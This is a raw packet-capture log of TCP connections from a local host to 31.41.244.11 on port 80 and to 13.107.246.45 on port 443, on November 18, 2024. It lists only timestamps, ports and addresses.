Nov 18, 2024 23:04:14.982177019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982196093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982204914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982244968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982562065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982594967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982626915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982636929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982637882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982660055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982673883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982693911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982716084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982728004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982757092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982762098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982784986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982795954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982810974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982830048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982841015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982861996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982876062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982897043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982908010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982928991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.982939959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.982961893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983004093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983004093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983469009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983501911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983525991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983534098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983552933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983566999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983582973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983601093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983617067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983633995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983647108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983668089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983678102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983700991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983710051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983736038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983747005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983768940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983781099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983800888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983814001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983834982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983846903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983867884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983880997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983901978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.983912945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.983947992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984368086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984401941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984422922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984436035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984441042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984468937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984483004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984499931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984514952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984534025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984555006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984566927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984586954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984600067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984606981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984632969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984647989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984666109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984678030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984699965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984713078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984733105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984746933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984767914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984776974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984801054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.984812975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.984844923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985254049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985286951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985311031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985321045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985333920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985354900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985367060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985383987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985414982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985416889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985436916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985454082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985461950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985486984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985498905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985521078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985529900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985557079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.985560894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.985595942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.998816967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.998903990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.998980045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999054909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999088049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999109030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999113083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999142885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999170065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999177933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999197006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999212980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999236107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999264956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999299049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999349117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999350071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999381065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.999402046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999424934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.999967098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.000000000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.000030994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.000035048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.000051975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.000088930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.019038916 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.019197941 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.019262075 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.022384882 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.022399902 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.022439003 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.022445917 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.024626970 CET	49833	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.024681091 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.024794102 CET	49833	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.024908066 CET	49833	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.024926901 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.029673100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.029710054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.029743910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.029761076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.029783964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.029795885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.029800892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.029829025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.029853106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.029863119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.029875994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.029896975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.029915094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.029949903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.030030012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.030057907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.030083895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.030102015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.030497074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.030533075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.030555010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.030566931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.030576944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.030616045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.057862997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.057962894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058017015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058060884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058094978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058128119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058125973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058125973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058125973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058126926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058161974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058197021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058212042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058212042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058212042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058238983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058284998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058311939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058327913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058342934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058346987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058360100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058370113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058377028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058389902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058408022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058461905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058674097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058690071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058703899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058718920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058727026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058738947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058739901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058754921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.058782101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.058821917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.059030056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059046030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059060097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059075117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059087038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.059092999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059107065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059123039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059127092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.059138060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059151888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059158087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.059170008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.059180975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.059197903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.059237003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.087999105 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.088155985 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.088226080 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.088376999 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.088411093 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.088438034 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.088455915 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.091408014 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.091496944 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.091614008 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.091799021 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.091835022 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.097942114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098016024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098036051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098048925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098102093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098103046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098103046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098134995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098155975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098213911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098238945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098248959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098268986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098285913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098292112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098337889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098342896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098371983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098397970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098406076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098419905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098440886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098464966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098483086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098484039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098534107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098540068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098570108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098588943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098603010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098625898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098638058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098665953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098691940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098803043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098835945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098867893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098879099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098879099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098901987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098915100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098937988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.098957062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.098997116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099123001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099155903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099181890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099189997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099200010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099224091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099242926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099258900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099282980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099292040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099308968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099342108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099349976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099384069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099409103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099420071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099430084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099456072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099503040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099503040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099602938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099634886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099668026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099675894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099675894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099700928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099718094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099735022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099756956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099770069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099782944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099806070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099823952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099833965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099870920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099895954 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.099936962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099988937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.099994898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100023031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100047112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100059032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100070000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100110054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100142002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100174904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100207090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100214958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100214958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100239992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100256920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100274086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100291967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100307941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100330114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100368977 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100403070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100466013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100528002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100560904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100589037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100614071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100625038 CET	49794	80	192.168.2.4	31.41.244.11
